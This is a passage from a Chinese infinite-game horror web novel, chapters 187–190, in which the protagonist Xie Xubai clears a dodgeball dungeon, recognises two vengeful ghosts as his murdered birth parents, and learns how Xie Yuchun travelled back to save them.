便这样倒在地板上,各种求饶的话和哭喊都被堵在冒着血水的喉咙里,勉强发出“咕唔……咕!”的声。 所有的力气用尽了,瞪大的眼珠子几乎要凸出来,指甲刮擦地板,费劲挣扎着往前爬,却做不到站起身,眼睁睁地看着凶手一步步朝自己的孩子靠近。 那一刻,她该有多绝望? 除了客厅的摆设,他们依旧没有看到其他人影,却能听见雨夜轰隆隆的雷声,一股毛骨悚然的气息浸透了冰凉的手脚。 鬼婴们跟在他们的身后,似乎在畏惧什么,忍不住瑟瑟发抖。 又像在仇恨什么,对着前面的客厅龇牙咧嘴,哇哇大吼,血泪止不住地流。 “走吧。”徐队长深吸一口气,“所有人注意,接下来我们有可能会直面正在行凶的凶手,做好防御准备。” 谢叙白倏然抬起了头。 第187章 躲避球(9) 不用徐队长提醒,此时此刻所有人都默默地做好了战斗准备。 即使看到布莱恩掌心雷光暴跳,几乎弹射到身边的人,也没有人抱怨他注意分寸。 只因在看到地板人形轮廓的刹那间,玩家的想法就达到了高度统一。 ——他们要狠狠地锤爆那个杀人凶手。 按照经典恐怖游戏的流程,接下来必将迎来开门杀,和凶手BOSS决一死战,在酣畅淋漓的战斗中一解玩家的心头之恨。 可玩家忽略了一点,如果现实能够和电子游戏走向一致,又怎么会让人如此痛苦。 充当坦克的前排玩家毅然踏入下一个客厅,不到半秒愣住。谢叙白错位上前,与他们同时看清里面的场景,呼吸几不可闻地一滞。 整个空间的天气瞬变,似乎在模拟那个悲剧发生的夜晚,乌云悄然覆盖住众人的头顶,视野昏暗下去。 雷声轰鸣,大雨滂沱,陡然一道惊天霹雳狰狞划破天幕! 没有杀人凶手,只有两具无声无息倒在血泊中的尸体,和两颗漂浮在雷光中的巨大头颅。 听到动静,两颗头颅缓缓地转了过来,惨白雷光照亮了它们的脸。 青黑腐烂的皮肤,呆滞浑白的眼珠,五官在拉长扩大中完全变了相,像无限撑大的气球,漆黑头发长到拖地,在半空中群魔乱舞,两颗眼睛变成冰冷的兽瞳。 巨大的两道影子在雷光中漂浮,就像神话中披着满脑袋毒蛇的美杜莎,丝丝地吐出鲜红蛇信。 那两个只想着过平凡生活,畅想着美好未来的甜蜜小夫妻,和他们的孩子一样,变成了实实在在的怪物。 谢叙白瞳孔骤缩。 预想的结局再悲惨都不如亲眼一见。 空气安静了几秒,怪物化的女人头颅突然一动,朝着前排的谢叙白他们缓缓飘了过来。 徐队长以为她要攻击人,连忙将谢叙白拉到队伍后面,岂料下一秒头颅张开嘴,汩汩血液从嘴角淌落,她茫然焦急地问:“你们,有看到我的孩子吗?” 腐朽气息扑面而来,她的状态看起来很不好,嘴里念念有词,似乎压抑着某种濒临极限的疯狂。 玩家们回神,立马让开一条通道,露出身后几十只的鬼婴:“……有有有!你看这里面有没有你的孩子?” 一听见有,女人头颅黯淡的眼睛霎时间都亮了,风一般冲向鬼婴潮。 男人头颅想也没想地紧跟其后。 和女人头颅相比,他似乎还残存着一丝岌岌可危的理智。 但周遭的细节,无不彰显着某个残酷的事实:男人是在目睹妻儿遇害后,猝不及防被凶手偷袭致死的。 家人惨死的恨意在心中盘踞,男人阴沉寡言,眼中闪烁冰冷的光,像填满火药的炸弹,要是爆发起来,危险程度和女人头颅相比只怕不逞多让。 玩家有些畏惧,悄悄往后退避。 与人群擦肩而过的瞬间,谢叙白感觉男人头颅僵硬转动浑白的眸子,似有若无地朝自己看了一眼。 他停了一下,好像有些困惑,朝谢叙白缓慢靠近。 下一秒,妻子那边传开动静,头颅瞬间收回视线,急急忙忙追着妻子而去。 见他们没有伤人的迹象,玩家们登时松了一口气,只盼两夫妻能赶快找到自己的孩子,这样他们就能…… 就能…… 所有人霎时间僵住。 他们在此刻突然意识到一个特别艹蛋的问题。 规则强调【砸中】,必须要有肢体接触。 如果孩子就是真正的球,那岂不是意味着,他们不仅要从夫妻俩的手中抢走孩子,还要当着他们的面,把孩子再一次“送”给凶手? 虽然这里的“送”不是真正的送,只是让孩子碰一下凶手,但要让悲痛欲绝的夫妻俩,再一次看见凶手靠近自己的孩子,重复生前的绝望,谁能接受得了!? 夫妻俩不把他们撕碎才怪! 玩家们再度感受到系统的险恶用心,一阵恶寒。 难怪要让他们体验那段温馨时光。 如果只是在新闻上看到一家人被害的消息,见惯死亡的他们不会有什么深刻触感,做选择的时候也不会有半点犹豫。 而现在,系统是逼着他们在命和良心之间做选择! 徐队长痛苦地抹把脸,但他做出选择也很快,眼神示意众人:“现在分两拨人,一拨人去找凶手,另一拨人跟上俩夫妻,然后赶在他们之前……” 话不说完是怕俩夫妻听见,“赶在他们之前”做什么,大家心里都懂。 有人面露痛色挣扎,有人快速听从调令。 大部分人很快行动起来。他们时刻谨记这里是无限游戏——哪怕这个世界是真实的,必要情况也必须当成游戏,不然活不下去。 但意外再一次发生了。 那些鬼婴居然在抗拒女人头颅的接触! 它们在头颅靠近的瞬间发出吼叫,竟是在威胁女人不要靠近,利爪尖牙疯狂撕扯女人的头发,那凶狠劲儿仿佛要将头颅大卸八块。 同时女人用头发快速翻遍鬼婴潮,一次又一次没能找到自己的孩子,中途她被鬼婴啃了好几口,脸上全是抓伤,眼中强盛的希望逐渐变成绝望。 终于在扒拉到最后一只鬼婴时,她歇斯底里地吼:“没有!这里没有我的孩子!我的孩子呢!我的孩子在哪儿??啊啊啊啊啊!!” 满头长发倏然爆开,长鞭一般抽出去! 空中响起爆裂的音鸣,电视冰箱咔嚓全碎,桌椅板凳拦腰折断!成股的头发砸在地板上,撕拉一声响,坚硬的地砖像纸般被轻松划开,碎石飞溅,留下深深的沟壑。 有玩家靠得太近,躲闪不及,被头发击中,断线风筝般倒飞出去,落地哇地吐了一大口血,肋骨全断! 要不是谢叙白当机立断冲过去接住他,同时使用治愈能力,他能当场丧命。 被抽飞的可是A级玩家啊! 谢叙白的状态比刚出幻境时更差了,整张脸完全失去血色,冷汗顺着鬓角滑落,和重伤玩家比起来都分不出被抽飞的是谁。 女人的尖叫,男人的目光,鬼婴们的哭嚎,空气中潮湿的雨汽,永无止境的雷声,都化作无形的压力,朝他倾轧。 他快要喘不上气了。 赶过来的其他人几乎以为谢叙白下一秒就能倒下去,吓得魂飞魄散:“你没事吧?还好吗?哪里受伤了吗?快来人带伤员离开!” “不,不用。”谢叙白轻轻摇了摇头,借力搀扶他的手勉强站了起来,脸颊绷紧到颤抖,青筋微鼓。 他喘上一口气,咬字清晰地说,“不要和他们打,去最开始的房间。” 最开始的房间,幻境景象的起始,这场复制迷宫的“头”。 谢叙白能找到关键性的奶嘴,纯属机缘巧合。 又或者是他记住了身为婴儿叼住奶嘴时,在女人怀中感受到的安稳,所以能一眼相中关键道具。 随后他尝试将这股安稳的情绪发散出去,传达给所有鬼婴,顺利引出不同寻常的那一只。 直到他们离开,前往其他客厅,鬼婴依旧蜷缩在婴儿床里熟睡——或许他就是夫妻俩真正的孩子。 其他人恍然大悟!连忙冲向最初的房间。 有人想搀扶谢叙白一起过去,却听谢叙白轻声道:“你们去,我其实隐瞒了自己的能力……我可以牵制住他们,无论我遇到什么事,也不能朝他们发起攻击。” 随后迈开腿,一步一停,艰难又坚定地朝两颗巨大的头颅走去。 “队长,他这是……?”巅峰成员惊疑不定地看向队长。 徐队长盯着谢叙白亦是意外震惊,最后果断作出决定:“信他的,我们走!” 从谢叙白掌心散开无形的精神力,氤氲金光化作轻薄的细沙,温柔地包裹着崩溃的女人头颅。 毫无意外,感觉到陌生人靠近的女人头颅蓦然爆发,两颗眼珠子凝成危险的针状竖线。 “你是谁?我的孩子呢?是不是你把我的孩子藏起来了?!把他还给我!!” 长鞭似的头发如潮水捆住谢叙白的身体,白皙皮肤被刮出道道血痕。 那些头发仿佛蠕动的长蛇,顺着开裂的伤口往里钻,贪婪地蚕食血肉,谢叙白本就病态的脸色又白了一度。 其他玩家看得心惊胆战,大喊宴初一的名字。 豆大的汗珠从谢叙白的脸颊滑下去,比起肉体的疼痛,精神上找不到源头的摧残更让他难捱。 但他张嘴,只用一句话,就唤回女人头颅的理智。 “如果我死了,你就再也找不到自己的孩子了。” 歇斯底里的女人瞬间僵住。 金色薄雾在谢叙白的体表散开,顺着瀑布般的长发蔓延向女人头颅。 在金光勾勒出的图景中,头颅恍惚看到了自己的孩子。 白白胖胖的,小小一只,可爱又活泼,被她戳戳柔嫩的小脸蛋,就会忍不住弯起月牙眼,咯咯咯地笑。 她近乎瞬间淌下泪来,浑白空洞的眼珠子一点点地恢复清明。 男人头颅悄无声息地回来了,直勾勾地盯着谢叙白。 他身上满是青色的血,那是鬼婴的血。 鬼婴长得很像他们的孩子,但终究只是像而已。 鬼婴潮伤害女人头颅叫他怒不可遏,由此爆发出恐怖的实力,激烈的战斗一度让其他玩家不敢靠近,惊心动魄。 见男人头颅靠近,谢叙白也将金光覆盖在对方的身上。 头颅似乎要躲,最后看了看妻子,又看了看谢叙白,没有挣扎。 金光模糊了男人青黑色的面部棱角,使他少了几分凶恶暴戾,看起来竟有几分温和。 以谢叙白的感知力,不难察觉这两颗头颅,其实是两抹浓郁怨念的化身。 它们是想要找回孩子的执念,是想要杀死凶手的仇恨,是见证家人逝去的悲痛。 唯独不是真人。 夫妻俩真正的魂灵或许早已消散,又或许化作记忆模糊的怨魂徘徊在外面的世界,锲而不舍地寻找着孩子的踪迹。 总之没有在这里。 两抹残留的怨念和二十人的命,孰轻孰重,意识清醒的人都不会犹豫。 也是这时,玩家那边再传出震耳欲聋的巨响。 谢叙白扯眉看过去,狠狠一皱眉,凶手竟然堂而皇之地出现了! 他穿着大衣,带着棒球帽和口罩,露出一双阴森凶狠的眼睛,就站在婴儿床前,并对着里面熟睡的鬼婴伸出双手。 “不能让他拿到真正的球!” 玩家们尝试进攻阻止他,鬼婴潮却被控制着,争先恐后地扑了上来,两方顿时胶着在一起! 这一动静闹得太大了!连夫妻俩都被惊动,从谢叙白编织的美好幻梦中仓促醒来,下意识转身。 看见凶手的手即将触碰到婴儿,他们瞳孔骤缩,将要爆发。 嘭! 关键时候布莱恩出手了,拳头凝聚着万千雷霆,轰的一声将凶手打飞出去几百米。 大快人心! “布莱恩!干得漂亮!”队友们惊喜喝彩。 十几万伏特电流洗刷全身,凶手一阵凄厉嘶吼,近乎在惨白电光中化作焦炭,身体如流星砸地,碎石迸溅,爆出偌大的坑洞。 凶手躺在坑洞中,全身焦黑还冒着烟,一动不动,似乎昏厥了过去。 玩家们直呼好机会。 然而,没等摩拳擦掌的玩家上去补刀发泄,下一秒响起系统提示。 【玩家“布莱恩”违规袭击球员,判处黄牌警告一张,接下来的时间,该局躲避球游戏内的所有诡怪进入狂暴状态,直至游戏结束。】 淦! 眼见夫妻俩的眸子里浮现出猩红血色,分分钟要狂暴撕人的节奏,徐队长吼道:“快点拿球结束游戏!” 长痛不如短痛。 离婴儿床最近的玩家一咬牙一闭眼,将鬼婴抱了出来,快步冲向坑洞里的凶手。 他注意到两颗头颅的视线朝他投来,刹那间愧疚心痛得直抽抽,大叫了一声:“对不起!!” 随后小心拎起鬼婴的手,打向昏迷不醒的凶手。 【叮!】 系统提示声欢快响起。 【“真正的球员”被“真正的球”集中,恭喜各位玩家获得当局胜利! 最后比分2:0,宣布玩家一方获胜!恭喜在场的二十名玩家获得参加“黑王游戏”的资格!】 游戏结束了。 所有人的心头都松了一口气,场景即将消散之前,忍不住往回看。 两颗头颅都僵在了原地,刚要进入狂暴又被迫暂停,他们的表情是凝滞,有种“拔剑四顾心茫然”的无措感。 背后源源不断的金光唤回了他们的注意。 夫妻俩一起,看向半跪在地的谢叙白。 谢叙白的唇瓣轻微哆嗦着,冷汗如雨下,拼尽这道分魂的精神力,一只手坚持着往上抬,用金光编织和谐美满的幻梦。 在谢叙白为夫妻编造的美梦里,日子一切如常。 男人正常下夜班,女人打开门,站在暖黄的客厅灯光中,笑着接过他手里的公文包:“回来啦?快坐下来休息一下,我去热饭。” 忙碌一天的疲惫感,便在妻子满含爱意的笑容中消散。 没有什么杀人狂,孩子在婴儿床里睡得正香。见孩子在梦中哼哼唧唧咂嘴,心态年轻的父亲忍不住凑到床前,伸出手指去戳他。 妻子忙过来拍开他的手,嗔怪道:“手欠什么,好不容易睡着的,弄醒了你来哄呀?” 男人连忙反抱住妻子笑着认错,两人一同看向熟睡的孩子。 没有任何一刻比现在更幸福了。 不过婴儿还是醒了,似乎感觉到最爱他的两个人的气息,唔唔撒娇般地挥动手臂:“mu…a…ma…papa。” 夫妻俩心都要被萌化了! 他们弯身靠近,一人一只手抚摸孩子的脸颊,爱怜地回应孩子的呼唤:“在呢,宝宝……” 谢叙白难受得大口喘气,眼前一片昏花,需要用手按住地板,才不会脱力栽倒下去。 他坚持用精神力为夫妻俩化解怨念,感觉差不多了,终于能够放松。 脑海中各种心思糊成一团,一会儿琢磨怎么让剩下的一百名玩家全部通关,一会儿琢磨怎么干倒老板。 慢慢的,他感觉到女人头颅的发丝扬起,温柔地抚摸上他的脸颊,似乎将他当成自己的孩子,声音含着抹不去的哭腔:“在呢,宝宝。” “不哭了,不害怕,爸爸妈妈都在呢,宝宝。” “宝宝,宝宝……” 却在某一瞬间,“bao”后半部分的发音突然变了。 “宝…bao…bai…” “bao……bai……baibai……” “白白……” 白? 谢叙白以为自己听错了,猝然抬头。 却看见诡体近乎透明的夫妻俩,脸上缓缓消去青紫和肿胀,逐渐恢复正常人的长相。 可那不是谢叙白在幻境中看到的长相! 这两张脸陌生又熟悉,陌生的是谢叙白没有记忆,熟悉的是,他们竟然和他有至少七八分的相像。 仿佛有一个离谱荒谬的事实真相正在拼命浮出水面,谢叙白的瞳孔疯狂颤抖。 男人头颅沉默地靠着妻子,深深地注视谢叙白,悲痛中含着厚重到无法言说的关爱。 怨念化解快要消散之际,女人头颅终于彻底清醒,意识到自己刚才伤害了谁,懊悔心疼将她淹没。 她一个劲儿地掉血泪,用发丝颤抖地抚摸谢叙白的伤口边缘:“白白,我的宝宝,白白……” * “谢叙白,你可真没良心。”水墨空间斗篷人突然开了腔。 “你不是记忆力强吗?你不是能过目不忘吗?我还以为你能早点发现。” 他将把玩的棋子放回去,往前探身,眼睛眯成一条狭长的弧线,与谢叙白直勾勾地对视在一起,恶意喷涌而出:“谁能想到啊。” “你居然连自己的亲生父母都认不出来了。” 轰—— 简短几句话,如惊涛骇浪拍向谢叙白的心脏。 第188章 过去的真相(1)…… 谢叙白反复循环的人生大概可以分为四个阶段。 第一个阶段,也就是循环开启的第一世。 他是一个真真正正的普通人,婴孩八月失怙,出身平凡,天赋平庸,更没有像现在一样超凡绝世的记忆力。对父母的印象在泛黄陈旧的岁月里一点点消磨,颠沛半生无处可栖,最后在无限游戏里悄无声息、轻于鸿毛地死去。 或许他并非一无是处,继承了父亲的开明坚强和母亲的细腻乐观,可没有强大的力量,挡不住诡怪兴奋撕咬他的锋利口器。 或许他并非轻于鸿毛,因为这世上曾经有两个人无条件地深爱着他,把他看得比自己的命还要重要。但是谢叙白不记得了,一般人谁能记住自己八个月大的事情? 即使在宴朔的有意引导下,谢叙白提前触及【时间】法则,无数条循环更改的时间线也随着他的变强,在意识海中组建成量子叠加态,不再是虚无缥缈的空气,但对没有成神的谢叙白来说,它们依旧混沌难辨。 加上想要独立完整地窥探过去,就必须承受无数次循环的精神负荷,谢叙白只能被动接收逐渐苏醒的第一世的记忆,无法自主观测。 所以谢叙白并不清楚亲生父母的事情。 年幼时看着谢语春和自己毫无相同之处的长相,在邻居的闲言碎语中,小谢叙白也产生过片刻的疑惑,但是他死死地闭紧了嘴巴,绝不允许因为自己的猜疑去伤妈妈的心。 医院副本里谢叙白回到二十多年前,直至自己出生,成年的他被排斥出过去的时空。 他在那时记下自己的出生日期,也想过去找寻自己的亲生父母。 但前有系统虎视眈眈,后有雾水般琢磨不透的循环,加上建立执法机构迫在眉睫,谢叙白忙得脚不沾地,只能交由手下去处理。 后面发生的事情更不用说了,宴朔半哄半强制谢叙白入睡的那一晚,是他这段时间唯一一次好眠。 就这么一拖再拖,阴差阳错,谢叙白彻底失去了提前得知真相的机会。 在此前提下,谢叙白不认为做一个知足常乐的普通人有什么可耻,他不排斥接受自己曾经的无能为力,斗篷人嘲讽他第一世的凄苦孱弱,他也一盖置之不理。 直到现在,他亲眼目睹一个小乐即安的家庭破碎,看到夫妻俩执念不散,在无尽的绝望中化身厉鬼。 他头痛欲裂,意识昏沉,没有认出这是自己的亲生父母,按照自己历来的做法,自以为好心地催动精神力。 因为他害怕自己中途倒下,便加快了净化怨气的速度。 金光模糊了母亲的婆娑泪眼,父亲通红含泪的眼睛。他们看着自己的儿子相见不相识,坚持要将他们送走,里面有不舍,有担心,有疼爱,唯独没有责怪。 而谢叙白,察觉到真相的时候已经晚了,甚至来不及多看他们几眼。 夫妻俩的魂体愈发透明,像阳光下将要消融的冰雪。 谢叙白的表情完全空白,猝然掐断掌心的金光。 他意识不到疼痛,意识不到神经痉挛引发呼吸暂停。他要疯了,什么都顾不上了,拼尽全力去抓升上天空的夫妻俩,脚底打滑一个趔趄,眼前昏黑世界天旋地转,他不知痛,狼狈仓促地爬起来,他再次伸出手,却只有阴冷的空气从指缝中空荡荡地划过—— 谢叙白抓了个空。 * 水墨空间的斗篷人不再笑,也不再出声。 ta目光幽深地观察着浑身抖个不停的谢叙白。 分魂精神力的消耗殆尽影响到主体,对方似乎觉得冷,下意识抱紧双臂脑袋埋下,蜷缩成一团。 谢叙白的软肋其实很好找。情感能成为支撑他前进的动力,自然也能拽他入深渊。 如果是恢复全部记忆且历尽千帆的谢叙白,这种打击撼动不了他分毫。 但现在,谢叙白记忆混乱,分魂受损,孤立无援,血亲去世的打击和对自我的怀疑,足以铸就出他堕落的第一级碎阶。 对此,斗篷人没有表现出胜利的得意骄傲,和刚才刺激谢叙白时相比,ta的情绪淡得出奇,像一块坚冰。 ta面无表情抬起手,漆黑的能量线条在掌心漩涡状汇聚,如荆棘般生根发芽,逐渐长成王冠的形状。 ta开口发出诡谲的腔调,含着别样的音律,像一段古老神秘的歌谣。 “我会用盛大的仪式迎接您。(歌词)” “鲜血铺就红毯,白骨铸造阶梯,尸山堆成王座。(歌词)” …… 随着斗篷人唱出这段歌谣,整个棋桌好像活了过来,变得躁动,兴奋难抑。 ta冷漠地垂下眼睫,双手捧起掌心的荆棘王冠,微微倾身,欲要为谢叙白戴上:“在此恭迎——” 唰! 话没说完,一道光刃蓦然划开空气,刺向斗篷人的咽喉! 斗篷人瞳孔骤缩,飞快侧身,迅猛冷风从脸颊擦过,将将避开要害。 未能完全成型的荆棘王冠叮地掉在地上,像水晶般炸碎,化作黑色能量线条消散在半空。 脸颊一阵刺痛,ta下意识伸手去摸,滚烫鲜红的血液沾了满手。 “你……”斗篷人错愕抬头。 谢叙白满头大汗地撑在棋桌上,豆大汗珠从睫毛垂落,留下细密晶莹的水珠,但他的眸子亮得可怕,好似被水雾洗涤一遍,只有一片清明。 因为【规则】不允许棋手互殴,斗篷人脸颊被割开的伤痕也在谢叙白脸上同等位置出现了。 谢叙白抬手抹去,不以为意,坐直身的时候有点晃,但身后并非毫无支撑,有东西接住了他。 是邪神的躯壳。 水墨空间不允许祂进入,若祂强行闯入,汹涌澎湃的力量势必在一瞬间将整个空间堙灭,危及谢叙白的性命。 可祂心爱的人类一直在累,一直在受伤,对面那个该死的东西还试图把奇奇怪怪的玩意套在人类的身上,污染他的气息。 徘徊在空间裂隙中什么都做不了,躯壳暴躁,躯壳不安,躯壳想要毁灭一切。 在被这股焦躁的情绪逼到发疯之前,理应没有半点思维能力的躯壳,突然头顶小灯泡一亮,竟然无师自通地学会分割自己。 本体力量太大,那就分成一小份。 一小份要还是太大,那就分成片!分成丝!分成颗粒!分成雾! 终于,有一小片黑雾成功从水墨空间狭小的能量缝隙中析出,迫不及待地冲上来从后抵住谢叙白疲惫的身躯。 斗篷人仍在骇然,十万分不明白谢叙白为什么没有崩溃。 明明,明明…… 到底是什么地方搞错了?! ta顾不上理会那团疯狂蠕动恨不得将谢叙白打包带走的黑雾,低头看向棋盘世界。 第189章 过去的真相(2)…… 人的意念传导速度究竟能达到多快? 科学上讲,意识的神经冲动传导速度为120英里每小时,而潜意识的传导速度更能高达10万英里每小时。 诡异降临前的科技水平,已经能够做到仅80毫秒延迟,解读语言障碍患者的脑波意识。 按照脑科学领域的相关概念,不借用机械辅助的自然体的意识交流只会比这畅通。 举个经典的例子,修仙小说里的先祖大佬经常一个带识念的眼神甩过去,就能让嫡传弟子瞬间学会一门仙法,让人隔着屏幕嗷嗷大呼。 “大佬你也看看我!” “四六级雅思托福期末考事业考国考一区二区文献资料往我脑子里塞拜托了!” 就是这一研究的理想目标。 然而那属于极端理想化模型,再往上讨论就不是科学了,是神学。 事实上诡异降临后,两个专修精神力的高级玩家也只能做到脑内实时沟通对话,没办法在短时间内压缩大量信息进行意念传导,不然分分钟能实现数据帝和理论科学家的量产化。 所以,夫妻俩在意识清晰地和谢叙白接触的一两秒极限时间内,就能把带记忆信息的识念传递过去的行为,简直不可思议。 宴朔和小触手能随手将记忆捏成团,随时随地放给谢叙白看,是因为祂们是神,这世上的诸多规则在强大的力量面前总是不值一提。 可是这些诡异执念,没有神的力量,某种程度上还能称为弱小,却能让活人读取到他们生前的大片段记忆,感受他们的所思所想。 所凭借的又是什么呢? 谢叙白不知道。 斗篷人出言刺激他的一刻,也正是女人淌着泪用发丝抚摸他的伤口边缘,男人用额头轻触他肩膀的一刻。 那一刻,大量记忆片段如潮水涌入脑海,汹涌澎湃。 谢叙白的意识循着夫妻俩搭建的记忆滑梯,一路滑到那个雷声大作的雨夜。 女人听到熟悉的脚步声,迫不及待地笑着打开门,没有看到心爱的丈夫,却看到一个蒙着脸眼神凶煞的陌生人,她仓惶张嘴想要喊叫,被凶手捂住嘴往里用力推,另一只手亮出藏在口袋里的小刀。 雷声震耳欲聋,婴儿时期的谢叙白睡得并不踏实,几乎在开门的时候就惊醒了过来。 他不安极了,下意识哭叫呼唤妈妈,哽哽咽咽地翻过身,泪汪汪的眼睛顺着敞开的卧室房门,正对着门口。 刀面在雷光下反射出刹那冰冷的银光,微弱的尖叫,鲜血的洒落,刺目的红色块从女人胸口朝外蔓延,都在“轰隆隆!”的雷声中,成了谢叙白第一世没有记忆却永远无法克服的梦魇。 一如现在,女人只是朝门口走过去,谢叙白就被恐惧狠狠攥紧心脏,呼吸骤停,冷汗瞬间从额头淌落,脑子里着急地嘶吼:不,不要开!别开!!! 门还是开了,凶手冲了进来。 看到银白刀光的刹那间,谢叙白像被困在无尽噩梦中,神经根根炸开,大脑再度一片空白。 可那噩梦般的景象没有出现。 电光火石之间,啪一声轻响,凶手挥刀的手被一只凭空出现的手大力钳住,同时另一只手掌从上往下,摁住凶手的脑袋像砸核桃般狠狠掼在地板上,嘭的一声地砖碎裂! 凶手来不及惊愕,便在剧烈的撞击中头破血流,径直昏迷过去。 来人随即抬起手,指尖上方能量波动汇聚,瞬间凝结出一条结实的锁链,将凶手捆了个牢牢实实。 来人身上披着破破烂烂的斗篷,里面是作训服,脸上戴着面罩。 她将面罩取了下来,露出清秀的脸庞,是个四十多岁的女人,仿佛历经常人想象不到的沧桑,眼尾细纹密布,头发花白。 她压不住地气喘,似乎从某个地方匆匆赶来,精疲力竭,看着完好无损的女人,疲惫的眉宇大幅度舒展,极其庆幸地笑着说:“幸好,幸好!赶上了……” 看到那张熟悉的脸,谢叙白不可避免地感到震惊。 只因这个突然出手救下女人的人,正是谢语春! 如果说凶手的出现是《今日说法》,那么这人的出手就是《超异能世界》。 女人的三观破碎了,全身血液往头顶冲,发软的腿颤颤巍巍抖个不停。 就在这时卧室传出一声哭泣,谢语春下意识看了过去。 女人顺着她的视线一起看,魂都要吓飞掉,不知从哪儿找回的力气让她拼命跑进卧室,抱起孩子惊恐地贴在墙角:“你是谁?鬼吗?变异人吗?我们家里没钱的!别过来,再过来我就要叫人了!啊啊啊啊啊啊!” 谢语春:“等等,赵女士,我不是——” 先是凶手后是变异人,女人性格又不算很大胆,谢语春想要阻止已经来不及了,连忙补了个隔音屏障。 一阵兵荒马乱。 大概半小时后男人回到家,门一打开,满脸惶恐六神无主的妻子就抱着孩子嘭一声撞到他的怀里,差点把他的胃给撞出来。 “老公!老公!出事了,她,她,我,刚才有人,我们的孩子……” 他呲牙咧嘴地站稳,瞧见妻子语无伦次到极点的样子,顾不上疼痛,连忙担心地问:“冷静冷静,芬儿,我在,我在这里,你先别慌,慢慢告诉我,出什么事情了?” 没等妻子开口,男人已经顺着敞开的大门,看到了地上人事不省脑子冒血的凶手,还有沙发上捧着热水的谢语春。 刹那间男人的脑子也宕机了。 ——卧槽卧槽这人是谁为什么会躺在我家的地板上!他受伤了这个出血量要赶快叫救护车吧?会不会死人啊?不对他的扮相怎么那么像电视里的嫌疑犯? ——这女人是谁,为什么会在这么诡异的情况下淡定地坐在我们家沙发上,等下!她手里的杯子……冷静,镇定,芬儿把珍藏五年的纪念杯子都洗出来给这人倒水喝了,她应该大概也许是个好人。 抱着这样的思想斗争,男人哄得妻子勉强冷静下来。 五分钟后,夫妻俩带着摇摇欲坠的理智和三观,努力克制住报警的冲动,抱着孩子一起坐在沙发上,听谢语春述说原委和来意。 谢语春说她来自未来,准确来说是上一条时间线的未来。 在上一条时间线,无限游戏全面入侵,人类再一次输给游戏,迎来世界毁灭的惨烈结局。 可是谁都不知道,人类在这之前至少经历过三次失败,每次失败都会有数不清的人被随机处决,又被收押灵魂,变成开局要挟幸存玩家的“人质”。 为什么会接连失败?因为关卡数值设计逆天! 新手关是高维科技主掌的星际大战,人类现有威力最强的热武器齐发,炸得漫天火海翻滚,甚至没能燎开一点机甲外壳的防御涂层。 中期关卡起步就是动辄摧毁一个星球的外神,在那些不可抗衡的概念级能力下,关卡BOSS只是随意地呼吸,人类全体直接从基本粒子结构层面开始湮灭,这要他们拿头去打?! 那一刻,人们终于在难以言喻的恐惧与绝望里,透过系统所谓“公平”的面纱,看穿它欲要覆灭人类的事实。 最初将近80亿玩家全员参战,在这种不合理的关卡数值碾压下,到如今只剩下30亿玩家。 幸存玩家的人数,就像是某种灾难时刻的倒计时,它一点点地变少,悄无声息,潜移默化,将人类放进不断加热的温水里,而大部分人类却对此无知无觉。 谢语春是极少数的知情人,因为她觉醒了【预言家】的技能,能察觉到时间线的重复。 可对上那些概念级怪物,她和其他奋斗在前线的同伴只有绝望,完全找不到赢下游戏的希望。 也正是这时,一个叫谢叙白的青年找上了基地。 当时战局正值白热化,谢语春身为最高决策人员之一,一边要和那些心思各异满腹花花肠子的政客你来我往,一边又和同志之士们为了改变人类毫无希望的未来焦头烂额,每天要面见的人何其之多? 毫无疑问,没有身份也没有任何机要组织引荐的谢叙白,被拒绝了。 他的访问申请甚至只在分拣室停留了一小会儿,就被分类成粉丝的骚扰信件,统一丢进垃圾厂粉碎再回收。 理所当然,也没人知会谢叙白申请结果如何。 或许在被冷处理,没有任何通知的几天后,谢叙白自己悟到了结果,他再次递交出申请,然后申请报告再次在筛选过程中,被丢进“待处理无意义信件”堆里。 如此循环往复,锲而不舍,风雨无阻,终于在两个月后,分拣员记住了他的名字。 分拣员觉得这么长时间的坚持,又同有着“谢”这个姓氏,或许谢叙白和谢语春有什么沾亲带故的关系,于是他把这份信件递交给领导。 领导请示上级,经过最高安检部门的重重调查,得知谢叙白只是碰巧和谢语春同姓,那份报告再一次被打回,粉碎。 最后谢叙白顺利见到谢语春,已经是两年之后的事情了。 彼时人类通过深入敌腹、伪装内应、学习借鉴、牺牲流血种种拼尽全力的手段,终于艰难地挺过了新手初期的关卡。 不出意外的话,他们也即将在接下来的中级关卡对战外神级别BOSS,迎来又一次的覆灭。 便偏偏在那绝望时刻,谢语春殚精竭虑翻遍命运线,喜极而泣地找到了一丝堪称奇迹般的“不确定”。 这个“不确定”,就是谢叙白。 半秒没敢耽搁,谢语春连忙派人找到谢叙白。 最初和青年见面,谢语春的第一反应是“普通”,数值一般,天赋技能一般,全身上下除了脸没有任何突出的地方。 为什么长得好看都能算普通?因为无限游戏能用道具改变样貌,实现无痛整容,在玩家们不知道积分宝贵性的初期,直播间清一色整容后的帅哥美女。 谢语春相貌平平,但从来没有改变容貌的想法,如果整成怪物能给人类增加一分存续的希望,那么她会毫不犹豫去做,可惜外神的眼睛不一样,祂们不靠单一维度的视觉审视生命体。 谢语春没有因为谢叙白疑似整容而看轻对方,毕竟这是他们好不容易才找到的“不确定”。 谢叙白带来的消息也没有让她失望,甚至完全高出她的期望!那消息是颠覆性的,突破性的,几乎成为人类反击无限游戏的终极武器。 谢语春对夫妻俩说:“你们的儿子用肯定的语气告诉我,哪怕记忆会在循环中清空,伤痕累累的身体无数次恢复如初,灵魂终将留痕。” 第190章 过去的真相(3)…… 时过境迁。 如今几乎所有玩家都知道,虽然重生之后会被清除记忆,但也不是白死了,有部分概率提高基础数值,让身体记住曾经的战斗技巧。 却没有人知道,这一至关重要的发现,最早是由一名不起眼的普通人提出来的。 不过那时候的谢叙白(自认为)已经算不上普通人了,尽管在谢语春看来,青年的数值依旧很一般,甚至算得上差劲。 不怪谢语春有这样的想法,毕竟她那时候已经是神级玩家了,日常接触共事见到的也几乎都是神级玩家。 又或者说,人类生死存亡之际,本就需要各方精英翘楚、专家领袖汇聚一堂,发挥他们高人一等的智商,发挥他们独断万古的战略眼光,发挥他们能够率领人类走向胜利的一切能力,齐心协力攻克难关。 以她为例的这群人,既然能够在腥风血雨的决策层里屹立不倒,资质肯定算不上差。 但谢叙白真的太弱太弱太弱了! 他才F级啊!! 蹲在试炼池门口求好心人带个临时团,多蹭两次副本,都不至于只有这个等级。 谢语春忍不住怀疑谢叙白到底是怎么活到现在的。 就是从第一批淘汰下来的候补卫兵中随便抓一个出来,都可以把谢叙白摁在地上疯狂摩擦。 